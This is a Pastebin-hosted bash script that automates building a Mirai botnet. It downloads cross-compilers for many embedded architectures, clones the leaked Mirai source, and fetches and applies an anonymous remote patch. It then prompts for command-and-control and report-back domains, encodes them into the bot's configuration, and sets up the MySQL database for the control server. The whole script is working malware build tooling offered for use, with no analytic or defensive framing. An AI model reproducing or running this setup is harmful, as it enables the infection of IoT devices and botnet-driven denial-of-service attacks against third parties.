Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- apt -y install git
- export PATH=$PATH:/usr/lib/go-1.9/bin
- add-apt-repository -y ppa:gophers/archive
- apt-get update
- apt-get install -y golang-1.9-go
- rm -Rf /tmp/instaMira
- mkdir /tmp/instaMira
- #rm -Rf /etc/xcompile
- mkdir /etc/xcompile
- cd /etc/xcompile
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
- wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
- tar -jxf cross-compiler-armv4l.tar.bz2
- tar -jxf cross-compiler-armv5l.tar.bz2
- tar -jxf cross-compiler-armv6l.tar.bz2
- tar -jxf cross-compiler-i586.tar.bz2
- tar -jxf cross-compiler-i686.tar.bz2
- tar -jxf cross-compiler-m68k.tar.bz2
- tar -jxf cross-compiler-mips.tar.bz2
- tar -jxf cross-compiler-mipsel.tar.bz2
- tar -jxf cross-compiler-powerpc.tar.bz2
- tar -jxf cross-compiler-sh4.tar.bz2
- tar -jxf cross-compiler-sparc.tar.bz2
- tar -jxf cross-compiler-x86_64.tar.bz2
- rm *.tar.bz2
- mv cross-compiler-armv4l armv4l
- mv cross-compiler-armv5l armv5l
- mv cross-compiler-armv6l armv6l
- mv cross-compiler-i586 i586
- mv cross-compiler-i686 i686
- mv cross-compiler-m68k m68k
- mv cross-compiler-mips mips
- mv cross-compiler-mipsel mipsel
- mv cross-compiler-powerpc powerpc
- mv cross-compiler-sh4 sh4
- mv cross-compiler-sparc sparc
- mv cross-compiler-x86_64 x86_64
- export PATH=$PATH:/etc/xcompile/armv4l/bin
- export PATH=$PATH:/etc/xcompile/armv5l/bin
- export PATH=$PATH:/etc/xcompile/armv6l/cross-compiler-armv6l/bin
- export PATH=$PATH:/etc/xcompile/i586/bin
- export PATH=$PATH:/etc/xcompile/m68k/bin
- export PATH=$PATH:/etc/xcompile/mips/bin
- export PATH=$PATH:/etc/xcompile/mipsel/bin
- export PATH=$PATH:/etc/xcompile/powerpc/bin
- export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
- export PATH=$PATH:/etc/xcompile/sh4/bin
- export PATH=$PATH:/etc/xcompile/sparc/bin
- export PATH=$PATH:/etc/xcompile/armv6l/bin
- export PATH=$PATH:/usr/lib/go-1.9/bin
- export GOPATH=$HOME/Documents/go
- go get github.com/go-sql-driver/mysql
- go get github.com/mattn/go-shellwords
- cd /tmp/instaMira/
- git reset --hard
- git clone https://github.com/jgamblin/Mirai-Source-Code .
- cd mirai
- source build.sh debug telnet
- git reset --hard
- wget https://gist.githubusercontent.com/anonymous/bbc3b1389181e1dd935fa1e4919e225b/raw/677ac392ac1ee363de4b13c2163c4c33db61a1d6/patch.p
- echo ''>>patch.p
- git apply patch.p
- echo "Please input CNC server domain: "
- read cncName
- echo "Please input reportBackServerDoamin"
- read reportBackServerDoamin
- reportBytes=$(debug/enc string $reportBackServerDoamin | sed -n 1p | grep -oe "[0-9]" | sed ':a;N;$!ba;s/\n//g')
- reportXored=$(debug/enc string $reportBackServerDoamin | sed -n 2p)
- cncBytes=$(debug/enc string $cncName | sed -n 1p | grep -oe "[0-9]" | sed ':a;N;$!ba;s/\n//g')
- cncXored=$(debug/enc string $cncName | sed -n 2p)
- rm -Rf bot/scriptConf.h
- echo -n "#define ENCODED_CNC \"" >> bot/scriptConf.h
- echo -n $cncXored >> bot/scriptConf.h
- echo '"' >> bot/scriptConf.h
- echo -n "#define CNC_LENGHT " >> bot/scriptConf.h
- echo $cncBytes >> bot/scriptConf.h
- echo -n "#define ENCODED_REPORT \"" >> bot/scriptConf.h
- echo -n $reportXored >> bot/scriptConf.h
- echo "\"" >> bot/scriptConf.h
- echo -n "#define REPORT_LENGHT " >> bot/scriptConf.h
- echo $reportBytes >> bot/scriptConf.h
- echo ''>> bot/scriptConf.h
- echo -n "Please give me the MySQL password you desired: "
- read mysqlPassword
- echo -n "Please give me the login name you desired: "
- read loginName
- echo -n "Please give me the login password you desired"
- read loginPass
- sed -i "s/password/$mysqlPassword/g" cnc/main.go
- export DEBIAN_FRONTEND=noninteractive
- apt-get -q -y install mysql-server
- service mysql start
- mysql -e "UPDATE mysql.user SET Password = PASSWORD('$mysqlPassword') WHERE User = 'root'"
- mysql -e "DROP USER ''@'localhost'"
- mysql -e "DROP USER ''@'$(hostname)'"
- mysql -e "DROP DATABASE test"
- mysql -e "FLUSH PRIVILEGES"
- cd ..
- cat scripts/db.sql | mysql -p$mysqlPassword
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement